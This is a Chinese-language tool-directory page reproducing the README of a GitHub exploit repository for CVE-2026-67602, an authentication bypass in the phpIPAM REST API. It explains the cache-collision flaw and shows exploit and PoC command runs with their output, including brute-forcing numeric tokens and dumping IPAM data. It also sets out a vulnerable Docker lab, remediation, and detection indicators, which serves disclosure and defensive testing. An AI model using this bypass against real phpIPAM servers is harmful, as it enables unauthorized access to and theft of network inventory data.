Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证API 安全
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

CVE-2026-67602 的漏洞利用与 PoC,该漏洞是 phpIPAM REST API 中通过对象缓存键冲突实现的身份验证绕过,包含逻辑级 PoC 和远程漏洞利用脚本。

查看仓库
0天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-67602 — phpIPAM < 1.8.2 REST API 身份验证绕过

phpIPAM REST API 中存在未认证的身份验证绕过漏洞,其根源在于对象缓存键冲突:在解析 API 应用的 app_id 时缓存的数据行,只要提供的令牌等于该行的数字 id,就能满足后续的 app_code(令牌)检查。应用的真实密钥从未被比较。

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 严重(AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706(使用不正确解析的名称或引用)
  • 受影响版本: 1.8.2 之前的 phpIPAM,使用 app_security = ssl_code 的 REST API 应用
  • 修复版本: phpIPAM 1.8.2(提交 d29728f)
  • 安全公告: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

目录

文件用途
poc_cache_collision.php逻辑级 PoC。针对模拟数据库运行逐字的易受攻击(v1.8.1)和已修复(1.8.2)版本的 fetch_object/cache_check/cache_write 实现,并重放单个 HTTP 请求的精确获取序列。无需安装 phpIPAM。
exploit.py针对运行中的 phpIPAM < 1.8.2 实例的远程利用:枚举有效的 app_id(400 与 401),暴力破解数字令牌(通常为 id 1-3),并可选择性地导出 sections/subnets/VLANs/devices。
docker-compose.yml易受攻击的实验环境:phpIPAM v1.8.1 + MariaDB,纯 HTTP 并设置 IPAM_TRUST_X_FORWARDED=true,以便通过 X-Forwarded-Proto 头测试 ssl_code 应用。

1. 逻辑级 PoC(无需服务器)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTHENTICATED

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected

2. 在 Docker 中进行实时复现

root@kitploit:~
$ docker compose up -d
  1. 浏览至 http://localhost:8080/,进入安装程序 (http://localhost:8080/install/),选择自动数据库 安装,MySQL 用户 root / 密码 phpipamAdminRoot。
  2. 登录(admin / admin),按提示设置新的管理员密码。
  3. 创建 API 应用:管理 → API 管理 → 新建:
    • 应用名称(app_id):client
    • 安全模式:API 代码(ssl_code)
    • 权限:读 / 写 / 删除
  4. phpIPAM 会生成一个随机的 32 字符应用代码。你无需 复制它——这正是该漏洞的关键所在。

运行利用脚本(--xfp 标志通过 X-Forwarded-Proto 满足 HTTPS 检查, 实验环境信任该头):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...

3. 检测与修复

  • 升级到 phpIPAM 1.8.2 或更高版本。 修复方案将对象缓存同时按 搜索列和值进行键控(提交 d29728f)。
  • 在升级之前,禁用或重新配置 ssl_code API 应用(其他 安全模式不受此缓存冲突影响)。
  • 检查你的 Web 服务器 / phpIPAM 日志中是否有携带纯数字 phpipam-token 头的 /api/<app_id>/... 请求——合法令牌是 32 字符的随机字符串,因此数字令牌是高保真 IOC。
  • 如果怀疑存在暴露,请轮换 API 应用代码和用户令牌。

负责任使用

本仓库仅用于防御性研究和经授权的渗透测试。 只可针对你拥有或已获得书面许可进行测试的系统运行。

下载工具